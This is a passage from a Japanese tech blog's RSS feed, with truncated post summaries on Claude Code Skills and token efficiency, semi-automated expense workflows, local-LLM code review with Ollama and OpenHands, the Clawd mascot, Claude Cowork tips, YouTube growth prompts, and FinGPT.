+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-skills-%E8%87%AA%E5%B7%B1%E5%AE%8C%E7%B5%90%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88-mcp/cli%E3%81%AE%E5%85%88%E3%81%AB%E3%81%82%E3%82%8B%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E5%8A%B9%E7%8E%87%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="claude-code-skills--自己完結スクリプト--mcpcli-の先にあるトークン効率設計"&gt;Claude Code Skills × 自己完結スクリプト — MCP/CLI の先にある「トークン効率」設計&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gunta85"&gt;gunta85 さん&lt;/a&gt;が、Claude Code の Skill において自己完結スクリプト（Self-contained Scripts）の活用を推奨するポストを投稿しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Skill は MCP でも CLI ツールでもなく、Self-contained Script がおすすめ。
外部ライブラリの依存を 1 ファイル内で宣言でき、MCP に比べてトークン消費を劇的に削減できる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/gunta85/status/1929915853508456604"&gt;https://x.com/gunta85/status/1929915853508456604&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;この発言の背景には、&lt;a href="https://x.com/mizchi"&gt;mizchi さん&lt;/a&gt;による「MCP はただの CLI/API ラッパーに過ぎない」という指摘もあります。MCP のツール定義だけで数万トークンを消費する問題が顕在化するなか、Agent Skills 仕様が提供する「自己完結スクリプト」は、より効率的な選択肢として注目されています。&lt;/p&gt;
&lt;h2 id="agent-skills-とは何か"&gt;Agent Skills とは何か&lt;/h2&gt;
&lt;p&gt;Agent Skills は、AI エージェントにドメイン知識と実行能力を付与する仕様です。&lt;a href="https://agentskills.io"&gt;agentskills.io&lt;/a&gt; で公開されており、Claude Code をはじめとする複数のエージェントが対応しています。&lt;/p&gt;
&lt;h3 id="ディレクトリ構成"&gt;ディレクトリ構成&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.claude/skills/my-skill/
SKILL.md # スキルの説明と使用手順
references/ # 参考ドキュメント（必要時のみ読込）
scripts/ # 自己完結スクリプト
templates/ # テンプレートファイル
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="プログレッシブディスクロージャ"&gt;プログレッシブ・ディスクロージャ&lt;/h3&gt;
&lt;p&gt;Agent Skills の設計思想の核心は「段階的な情報開示」です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;段階&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;トークン目安&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;メタデータ&lt;/td&gt;
&lt;td&gt;frontmatter（名前・説明・引数）&lt;/td&gt;
&lt;td&gt;~100 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;指示文&lt;/td&gt;
&lt;td&gt;SKILL.md 本文&lt;/td&gt;
&lt;td&gt;&amp;lt;5,000 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リソース&lt;/td&gt;
&lt;td&gt;references/ 配下のファイル&lt;/td&gt;
&lt;td&gt;必要時のみ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;MCP サーバーがツール定義だけで大量のトークンを消費するのに対し、Skills は必要な情報を段階的に読み込むため、コンテキストウィンドウを効率的に使えます。&lt;/p&gt;</description></item><item><title>Claude Code で日常業務を「半自動化」する設計思想 — 経費精算から月末定常業務まで</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7%E6%97%A5%E5%B8%B8%E6%A5%AD%E5%8B%99%E3%82%92%E5%8D%8A%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3-%E7%B5%8C%E8%B2%BB%E7%B2%BE%E7%AE%97%E3%81%8B%E3%82%89%E6%9C%88%E6%9C%AB%E5%AE%9A%E5%B8%B8%E6%A5%AD%E5%8B%99%E3%81%BE%E3%81%A7/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7%E6%97%A5%E5%B8%B8%E6%A5%AD%E5%8B%99%E3%82%92%E5%8D%8A%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3-%E7%B5%8C%E8%B2%BB%E7%B2%BE%E7%AE%97%E3%81%8B%E3%82%89%E6%9C%88%E6%9C%AB%E5%AE%9A%E5%B8%B8%E6%A5%AD%E5%8B%99%E3%81%BE%E3%81%A7/</guid><description>&lt;h1 id="claude-code-で日常業務を半自動化する設計思想--経費精算から月末定常業務まで"&gt;Claude Code で日常業務を「半自動化」する設計思想 — 経費精算から月末定常業務まで&lt;/h1&gt;
&lt;p&gt;岩瀬義昌氏（&lt;a href="https://x.com/iwashi86"&gt;@iwashi86&lt;/a&gt;）が、minorun365 氏の Qiita 記事を引用して次のように投稿しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;経費精算のところ、とても良いフロー
— &lt;a href="https://x.com/iwashi86/status/2028620719115178259"&gt;iwashi86&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元の記事「&lt;a href="https://qiita.com/minorun365/items/114f53def8cb0db60f47"&gt;Claude Code ですべての日常業務を爆速化しよう！&lt;/a&gt;」は、Claude Code をコーディングではなく&lt;strong&gt;日常の雑務&lt;/strong&gt;に全面活用する実践記録です。125 いいね、97 ブックマークを集め、多くのエンジニアの共感を呼びました。&lt;/p&gt;
&lt;h2 id="優秀な後輩が-4-人入社したという発想転換"&gt;「優秀な後輩が 4 人入社した」という発想転換&lt;/h2&gt;
&lt;p&gt;minorun365 氏は Claude Code の位置づけをこう表現しています。「優秀な後輩が 4 人フルリモートで入社した」感覚で使う、と。コーディングツールとして見るのではなく、&lt;strong&gt;業務アシスタント&lt;/strong&gt;として捉え直すことで、活用範囲が一気に広がります。&lt;/p&gt;
&lt;p&gt;重要なのは「完全自動化」ではなく「&lt;strong&gt;半自動化&lt;/strong&gt;」という設計思想です。すべてを AI に丸投げするのではなく、最も手間がかかる部分だけを自動化する。人間の判断が必要な箇所は残し、定型的で退屈な作業を AI に任せるアプローチです。&lt;/p&gt;
&lt;h2 id="経費精算フローの実例"&gt;経費精算フローの実例&lt;/h2&gt;
&lt;p&gt;iwashi86 氏が「とても良いフロー」と評した経費精算の自動化は、以下のように設計されています。&lt;/p&gt;
&lt;h3 id="従来のフロー30-分以上"&gt;従来のフロー（30 分以上）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;MoneyForward で明細を確認&lt;/li&gt;
&lt;li&gt;Gmail で領収書メールを検索&lt;/li&gt;
&lt;li&gt;freee に手入力で登録&lt;/li&gt;
&lt;li&gt;申請&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="claude-code-導入後のフロー510-分"&gt;Claude Code 導入後のフロー（5〜10 分）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Claude Code に「今月の経費精算やって」と指示&lt;/li&gt;
&lt;li&gt;MoneyForward の CSV を自動解析&lt;/li&gt;
&lt;li&gt;Gmail の領収書を自動検索・照合&lt;/li&gt;
&lt;li&gt;取引先・金額・勘定科目を自動マッピング&lt;/li&gt;
&lt;li&gt;Markdown 形式で出力（freee にコピペ）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ポイントは &lt;code&gt;vendor_map.json&lt;/code&gt; による&lt;strong&gt;勘定科目の自動分類&lt;/strong&gt;です。取引先と勘定科目の対応を JSON ファイルで管理し、毎月の精算で再利用します。一度設定すれば、翌月以降は学習済みのマッピングが適用されるため、精度が上がり続けます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;Amazon.co.jp&amp;#34;&lt;/span&gt;: { &lt;span style="color:#f92672"&gt;&amp;#34;account&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;消耗品費&amp;#34;&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;note&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;書籍・備品&amp;#34;&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;AWS&amp;#34;&lt;/span&gt;: { &lt;span style="color:#f92672"&gt;&amp;#34;account&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;通信費&amp;#34;&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;note&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;クラウドインフラ&amp;#34;&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;スターバックス&amp;#34;&lt;/span&gt;: { &lt;span style="color:#f92672"&gt;&amp;#34;account&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;会議費&amp;#34;&lt;/span&gt;, &lt;span style="color:#f92672"&gt;&amp;#34;note&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;打ち合わせ&amp;#34;&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="プチ仕様駆動開発で雑務をエンジニアリングする"&gt;「プチ仕様駆動開発」で雑務をエンジニアリングする&lt;/h2&gt;
&lt;p&gt;minorun365 氏は、雑務にも「仕様駆動」のアプローチを導入しています。4 つのドキュメントで業務の文脈を構造化します。&lt;/p&gt;</description></item><item><title>Claude Code の生成コードをローカル LLM でレビューする 3 つの構成パターン</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E7%94%9F%E6%88%90%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E3%81%A7%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%99%E3%82%8B-3-%E3%81%A4%E3%81%AE%E6%A7%8B%E6%88%90%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE%E7%94%9F%E6%88%90%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E3%81%A7%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%99%E3%82%8B-3-%E3%81%A4%E3%81%AE%E6%A7%8B%E6%88%90%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>&lt;h1 id="claude-code-の生成コードをローカル-llm-でレビューする-3-つの構成パターン"&gt;Claude Code の生成コードをローカル LLM でレビューする 3 つの構成パターン&lt;/h1&gt;
&lt;p&gt;Claude Code は強力なコード生成能力を持ちますが、生成されたコードを&lt;strong&gt;別の視点でレビュー&lt;/strong&gt;したい場面があります。クラウド API にコードを送りたくない場合や、コスト削減のためにローカル LLM を活用したい場合です。&lt;/p&gt;
&lt;p&gt;この記事では、Ollama + Qwen3（ローカル LLM）と OpenHands（オープンソースのコーディングエージェント）を組み合わせて、Claude Code の生成コードを自動レビューする 3 つの構成パターンを紹介します。&lt;/p&gt;
&lt;h2 id="前提となる構成"&gt;前提となる構成&lt;/h2&gt;
&lt;p&gt;以下のツールがインストール済みであることを前提とします。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;インストール&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コード生成（エージェント）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;npm install -g @anthropic-ai/claude-code&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ollama&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ローカル LLM 実行（ランタイム）&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ollama.com"&gt;ollama.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Qwen3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;レビュー用 AI モデル（LLM）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ollama pull qwen3:14b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OpenHands&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;レビュー実行（エージェント）※パターン 2・3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install openhands-ai&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;構成図で示すと、Claude Code（クラウド）が書いたコードを、ローカル環境でレビューする構造です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Claude Code（Anthropic API）
↓ コードを生成・編集
ローカルリポジトリ（あなたの PC）
↓ レビュー依頼
OpenHands / Git フック
↓
Ollama（ローカルランタイム）
↓
Qwen3（ローカル LLM）→ レビュー結果を出力
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="パターン-1git-フック--ollama-直接呼び出し最もシンプル"&gt;パターン 1：Git フック + Ollama 直接呼び出し（最もシンプル）&lt;/h2&gt;
&lt;p&gt;OpenHands は不要です。Claude Code がコミットするタイミングで、Git の pre-commit フックが Ollama に差分を送り、Qwen3 にレビューさせます。&lt;/p&gt;</description></item><item><title>Claude Code 起動画面のオレンジの生き物「Clawd」の正体 — カニ？タコ？誰も知らない公式マスコットの謎</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E8%B5%B7%E5%8B%95%E7%94%BB%E9%9D%A2%E3%81%AE%E3%82%AA%E3%83%AC%E3%83%B3%E3%82%B8%E3%81%AE%E7%94%9F%E3%81%8D%E7%89%A9clawd%E3%81%AE%E6%AD%A3%E4%BD%93-%E3%82%AB%E3%83%8B%E3%82%BF%E3%82%B3%E8%AA%B0%E3%82%82%E7%9F%A5%E3%82%89%E3%81%AA%E3%81%84%E5%85%AC%E5%BC%8F%E3%83%9E%E3%82%B9%E3%82%B3%E3%83%83%E3%83%88%E3%81%AE%E8%AC%8E/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E8%B5%B7%E5%8B%95%E7%94%BB%E9%9D%A2%E3%81%AE%E3%82%AA%E3%83%AC%E3%83%B3%E3%82%B8%E3%81%AE%E7%94%9F%E3%81%8D%E7%89%A9clawd%E3%81%AE%E6%AD%A3%E4%BD%93-%E3%82%AB%E3%83%8B%E3%82%BF%E3%82%B3%E8%AA%B0%E3%82%82%E7%9F%A5%E3%82%89%E3%81%AA%E3%81%84%E5%85%AC%E5%BC%8F%E3%83%9E%E3%82%B9%E3%82%B3%E3%83%83%E3%83%88%E3%81%AE%E8%AC%8E/</guid><description>&lt;h1 id="claude-code-起動画面のオレンジの生き物clawdの正体--カニタコ誰も知らない公式マスコットの謎"&gt;Claude Code 起動画面のオレンジの生き物「Clawd」の正体 — カニ？タコ？誰も知らない公式マスコットの謎&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/koder_dev/status/2028771370717635019"&gt;@koder_dev 氏のポスト&lt;/a&gt;が、多くの Claude Code ユーザーが抱えていた疑問を代弁しています（いいね 301、RT 78）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code起動するたび出てくるオレンジの生き物、お前誰だよってずっと思ってたけどZennで正体暴いてる記事あって面白かった&lt;/p&gt;
&lt;p&gt;良かった、気になってるの自分だけかと思った笑&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元は tutupizizizi 氏による Zenn 記事「&lt;a href="https://zenn.dev/tutupizizizi/articles/claude-code-clawd-mascot"&gt;Claude Codeを起動するたび出てくるオレンジの生き物、お前は一体何なんだ&lt;/a&gt;」。Claude Code を起動するたびにターミナルに現れるオレンジ色の8ビットピクセルアートの正体を、ソースコードまで追って調査した記事です。&lt;/p&gt;
&lt;p&gt;本記事では、この謎のマスコット「Clawd」について、公式情報・コミュニティの議論・ソースコードの調査結果をまとめます。&lt;/p&gt;
&lt;h2 id="clawd-とは何か"&gt;Clawd とは何か&lt;/h2&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;p&gt;Claude Code を起動すると、ターミナルの上部に ASCII アートで描かれたオレンジ色の生き物が表示されます。これが &lt;strong&gt;Clawd&lt;/strong&gt;（クロード）です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; ████████████
██ ██
██ ██ ██ ██
██ ██
██ ██████████ ██
██ ██
██ ██ ██
██ ██ ██
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;（実際の表示はターミナルの Unicode ブロック文字で描画されます）&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;名前&lt;/td&gt;
&lt;td&gt;Clawd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;読み方&lt;/td&gt;
&lt;td&gt;クロード（Claude と同じ発音）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;名前の由来&lt;/td&gt;
&lt;td&gt;「Claude」+「Claw（爪）」のダジャレ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公式絵文字&lt;/td&gt;
&lt;td&gt;🦀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;初登場&lt;/td&gt;
&lt;td&gt;Claude Code の初期バージョンから&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;デザイン&lt;/td&gt;
&lt;td&gt;8ビットピクセルアート風&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通常の色&lt;/td&gt;
&lt;td&gt;オレンジ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="種族は公式に未定義"&gt;種族は公式に未定義&lt;/h3&gt;
&lt;p&gt;Clawd の最大の謎は、&lt;strong&gt;Anthropic が公式に「何の生き物か」を明言していない&lt;/strong&gt;ことです。このため、コミュニティは3つの派閥に分裂しています。&lt;/p&gt;</description></item><item><title>Claude Cowork を最強にする 17 の方法 --- プロンプトではなく「設計」で差がつくシステム工学</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E3%82%92%E6%9C%80%E5%BC%B7%E3%81%AB%E3%81%99%E3%82%8B-17-%E3%81%AE%E6%96%B9%E6%B3%95---%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E8%A8%AD%E8%A8%88%E3%81%A7%E5%B7%AE%E3%81%8C%E3%81%A4%E3%81%8F%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E5%B7%A5%E5%AD%A6/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E3%82%92%E6%9C%80%E5%BC%B7%E3%81%AB%E3%81%99%E3%82%8B-17-%E3%81%AE%E6%96%B9%E6%B3%95---%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E8%A8%AD%E8%A8%88%E3%81%A7%E5%B7%AE%E3%81%8C%E3%81%A4%E3%81%8F%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E5%B7%A5%E5%AD%A6/</guid><description>&lt;h1 id="claude-cowork-を最強にする-17-の方法--プロンプトではなく設計で差がつくシステム工学"&gt;Claude Cowork を最強にする 17 の方法 &amp;mdash; プロンプトではなく「設計」で差がつくシステム工学&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/masahirochaen/status/2028609546730762511"&gt;@masahirochaen 氏が X で投稿&lt;/a&gt;した、Claude Cowork のベストプラクティス解説が反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;海外でバズった「Claude Cowork を最強にする 17 の方法」の学びが深い。プロンプト力ではなく「仕組み」で差がつく&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元になっているのは &lt;a href="https://x.com/heynavtoor/status/2028148844891152554"&gt;@heynavtoor（Nav Toor）氏の X Article&lt;/a&gt;「17 Best Practices That Make Claude Cowork 100x More Powerful」です。Nav Toor 氏は 2026 年 1 月 12 日から Cowork を使い始め、7 週間で 400 セッション以上を重ねた経験をもとに、Anthropic が公式ドキュメントに書いていない 17 の実践法をまとめています。いいね 3,194、ブックマーク 13,149、閲覧 188 万超と大きな反響を得ました。本記事では、この 17 の方法を技術的に掘り下げて解説します。&lt;/p&gt;
&lt;h2 id="claude-cowork-とは"&gt;Claude Cowork とは&lt;/h2&gt;
&lt;h3 id="claude-code-との違い"&gt;Claude Code との違い&lt;/h3&gt;
&lt;p&gt;Claude Cowork は、Anthropic が提供する&lt;strong&gt;非エンジニア向けの AI エージェント環境&lt;/strong&gt;です。Claude Code がターミナルベースの開発者向けツールであるのに対し、Cowork は Claude デスクトップアプリ内で動作する GUI ベースの作業環境です。&lt;/p&gt;</description></item><item><title>Claude で YouTube チャンネルを 90 日で収益化する 7 つのプロンプト戦略 --- ニッチ分析からコミュニティ構築まで</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-%E3%81%A7-youtube-%E3%83%81%E3%83%A3%E3%83%B3%E3%83%8D%E3%83%AB%E3%82%92-90-%E6%97%A5%E3%81%A7%E5%8F%8E%E7%9B%8A%E5%8C%96%E3%81%99%E3%82%8B-7-%E3%81%A4%E3%81%AE%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E6%88%A6%E7%95%A5---%E3%83%8B%E3%83%83%E3%83%81%E5%88%86%E6%9E%90%E3%81%8B%E3%82%89%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E6%A7%8B%E7%AF%89%E3%81%BE%E3%81%A7/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-%E3%81%A7-youtube-%E3%83%81%E3%83%A3%E3%83%B3%E3%83%8D%E3%83%AB%E3%82%92-90-%E6%97%A5%E3%81%A7%E5%8F%8E%E7%9B%8A%E5%8C%96%E3%81%99%E3%82%8B-7-%E3%81%A4%E3%81%AE%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E6%88%A6%E7%95%A5---%E3%83%8B%E3%83%83%E3%83%81%E5%88%86%E6%9E%90%E3%81%8B%E3%82%89%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3%E6%A7%8B%E7%AF%89%E3%81%BE%E3%81%A7/</guid><description>&lt;h1 id="claude-で-youtube-チャンネルを-90-日で収益化する-7-つのプロンプト戦略--ニッチ分析からコミュニティ構築まで"&gt;Claude で YouTube チャンネルを 90 日で収益化する 7 つのプロンプト戦略 &amp;mdash; ニッチ分析からコミュニティ構築まで&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gudanglifehack/status/2028966502662382074"&gt;@gudanglifehack 氏が X で投稿&lt;/a&gt;した、Claude を活用した YouTube 成長戦略が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BREAKING: Claude can now build a complete YouTube growth strategy that takes channels from 0 to monetization in 90 days. 7 prompts to go from unknown creator to trusted authority in your niche.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;37 万フォロワーを持つ @gudanglifehack 氏が紹介するのは、Claude に投げるだけで YouTube チャンネルの成長戦略を一気通貫で構築できる &lt;strong&gt;7 つのプロンプト&lt;/strong&gt;です。本記事では、各プロンプトの構造と背景にある YouTube 成長の仕組みを技術的に解説し、AI をコンテンツ戦略に活用する方法を整理します。&lt;/p&gt;
&lt;h2 id="youtube-収益化の現在地2026-年"&gt;YouTube 収益化の現在地（2026 年）&lt;/h2&gt;
&lt;h3 id="2-段階の収益化要件"&gt;2 段階の収益化要件&lt;/h3&gt;
&lt;p&gt;YouTube パートナープログラム（YPP）は 2 段階の収益化構造になっています。&lt;/p&gt;</description></item><item><title>FinGPT 完全ガイド — オープンソース金融 LLM の仕組みと実践</title><link>https://hdknr.github.io/blogs/posts/2026/03/fingpt-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E9%87%91%E8%9E%8D-llm-%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/fingpt-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E9%87%91%E8%9E%8D-llm-%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5/</guid><description>&lt;h1 id="fingpt-完全ガイド--オープンソース金融-llm-の仕組みと実践"&gt;FinGPT 完全ガイド — オープンソース金融 LLM の仕組みと実践&lt;/h1&gt;
&lt;p&gt;「&lt;a href="https://gist.github.com/hdknr/cde933b6eb635a778d7b053610aca40a"&gt;ローカル LLM を金融取引の意思決定サポートに応用する&lt;/a&gt;」で紹介した FinGPT について、アーキテクチャから実践的な利用方法まで詳しく解説します。BloombergGPT の学習コストが約 270 万ドル（約 4 億円）だったのに対し、FinGPT は &lt;strong&gt;17〜300 ドルで同等以上の精度&lt;/strong&gt;を実現するオープンソースの金融特化 LLM フレームワークです。&lt;/p&gt;
&lt;h2 id="fingpt-とは"&gt;FinGPT とは&lt;/h2&gt;
&lt;p&gt;FinGPT は &lt;strong&gt;AI4Finance Foundation&lt;/strong&gt;（米国 501(c)(3) 非営利法人）が開発・維持するオープンソースプロジェクトです。Columbia University と NYU Shanghai の研究者が中心となり、2023 年 6 月に初版論文（&lt;a href="https://arxiv.org/abs/2306.06031"&gt;arXiv:2306.06031&lt;/a&gt;）を公開しました。&lt;/p&gt;
&lt;h3 id="開発の背景"&gt;開発の背景&lt;/h3&gt;
